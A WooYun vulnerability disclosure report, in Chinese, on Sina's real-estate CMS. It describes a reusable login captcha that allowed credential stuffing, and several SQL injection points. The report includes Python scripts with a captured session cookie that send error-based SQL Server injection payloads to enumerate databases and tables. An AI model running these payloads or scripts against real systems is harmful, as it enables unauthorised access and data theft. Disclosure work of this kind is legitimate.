当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0196430

漏洞标题:新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

相关厂商:新浪

漏洞作者: soFree

提交时间:2016-04-15 11:33

修复时间:2016-05-30 17:10

公开时间:2016-05-30 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-15: 细节已通知厂商并且等待厂商处理中
2016-04-15: 厂商已经确认,细节仅向厂商公开
2016-04-25: 细节向核心白帽子及相关领域专家公开
2016-05-05: 细节向普通白帽子公开
2016-05-15: 细节向实习白帽子公开
2016-05-30: 细节向公众公开

简要描述:

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

详细说明:

url:http://cms.dichan.com/default.aspx
设计缺陷出现在登录时图片验证码使用一次未失效,可撞库和暴破
123456撞出一个账号:

1.png


进来后,发现多处存在sql报错注入
比如:操作日志

注入点2.png


再比如:删除房产新闻

注入点1.png


下面用“删除房产新闻”模块来脱裤:
1、手工,通过数学函数判断是什么类型数据库:Sql Server:@@rowcount MySql:last_insert_id() oracle:bitand(1,1)
注入 @@rowcount 不报错,确定是Sql Server
2、数据库版本
Microsoft SQL Server 2008 R2

数据库版本.png


3、爆当前连接的数据库

当前连接的数据库.png


后面两个用脚本跑,requests里有代理功能,便于抓包调试,这里采用第三方库 requests
4、爆所有存在的数据库:

所有存在的数据库.png


.py脚本:
import requests
print 'Start to retrive SqlServer database:\n'
user = ""
headers = {
'Cookie': 'ASP.NET_SessionId=adg4hn45zmhams55u50mil45; .dichancmsauth=994F1406866FA51A1EF32B936496199631077780812E3830EBE65D54D52FB04F3C216D0FDC8256BA7CAC46C0DC4DC5376641396484DAE46DFB6C09C1CD24E7EA70FA50877E567F584A097E8006E539BCBB907765ED9E4B7096F89B393EB77543AC9CBE7F; __utmt=1; __utma=21884462.522624074.1460635410.1460635410.1460635410.1; __utmb=21884462.2.10.1460635410; __utmc=21884462; __utmz=21884462.1460635410.1.1.utmcsr=cms.dichan.com|utmccn=(referral)|utmcmd=referral|utmcct=/comment/newscommentlist.aspx'};
for i in range(1, 14):
payload = '0/(select top 1 name from master..sysdatabases where name not in (select top %s name from master..sysdatabases))' % i
body = {'__VIEWSTATE': '/wEPDwUKMTkwNjc4NTIwMWRkXGYxEvkDlDR5TJiN9oPRDcCJMgo=',
'__VIEWSTATEGENERATOR': '59FA1B9F',
'__EVENTVALIDATION': '/wEWAwKqv92KDALZifH9CgKM54rGBghPZBNspYOcVa/5oCp6+cB/NDlD',
'housenewsIds': payload, 'Button1': '%E7%A1%AE%E5%AE%9A'}
url = 'http://cms.dichan.com/news/deletenews.aspx'
conn = requests.post(url, data=body, headers=headers, verify=False, allow_redirects=False)
html_doc = conn.content
conn.close()
print ".",
if conn.status_code == 200:
break
# get tables from response
begain = html_doc.index('nvarchar')
end = html_doc.index('int')
database = html_doc[begain + 14:end - 24]
user += database + ' , '
print database
print '\n[Done] SqlServer database is %s' % user
5、爆所有用户表

所有用户表.png


.py脚本:
import requests
print 'Start to retrive SqlServer tables:\n'
user = ""
headers = {
'Cookie': 'ASP.NET_SessionId=adg4hn45zmhams55u50mil45; .dichancmsauth=994F1406866FA51A1EF32B936496199631077780812E3830EBE65D54D52FB04F3C216D0FDC8256BA7CAC46C0DC4DC5376641396484DAE46DFB6C09C1CD24E7EA70FA50877E567F584A097E8006E539BCBB907765ED9E4B7096F89B393EB77543AC9CBE7F; __utmt=1; __utma=21884462.522624074.1460635410.1460635410.1460635410.1; __utmb=21884462.2.10.1460635410; __utmc=21884462; __utmz=21884462.1460635410.1.1.utmcsr=cms.dichan.com|utmccn=(referral)|utmcmd=referral|utmcct=/comment/newscommentlist.aspx'};
for i in range(1, 200):
payload = "0/(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE xtype='U' and name not in (SELECT TOP %s NAME FROM SYSOBJECTS WHERE xtype='U'))" % i
body = {'__VIEWSTATE': '/wEPDwUKMTkwNjc4NTIwMWRkXGYxEvkDlDR5TJiN9oPRDcCJMgo=',
'__VIEWSTATEGENERATOR': '59FA1B9F',
'__EVENTVALIDATION': '/wEWAwKqv92KDALZifH9CgKM54rGBghPZBNspYOcVa/5oCp6+cB/NDlD',
'housenewsIds': payload, 'Button1': '%E7%A1%AE%E5%AE%9A'}
url = 'http://cms.dichan.com/news/deletenews.aspx'
conn = requests.post(url, data=body, headers=headers, verify=False, allow_redirects=False)
html_doc = conn.content
conn.close()
print ".",
if conn.status_code == 200:
break
# get tables from response
begain = html_doc.index('nvarchar')
end = html_doc.index('int')
table = html_doc[begain + 14:end - 24]
user += table + ' , '
print database
print '\n[Done] SqlServer tables is %s' % user
------------------------------
点到为止

漏洞证明:

sql注入很可能不止这几处,建议你们一一排查下

修复方案:

版权声明:转载请注明来源 soFree@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2016-04-15 17:03

厂商回复:

感谢关注新浪安全,将通知合作方进行修复。

最新状态:

暂无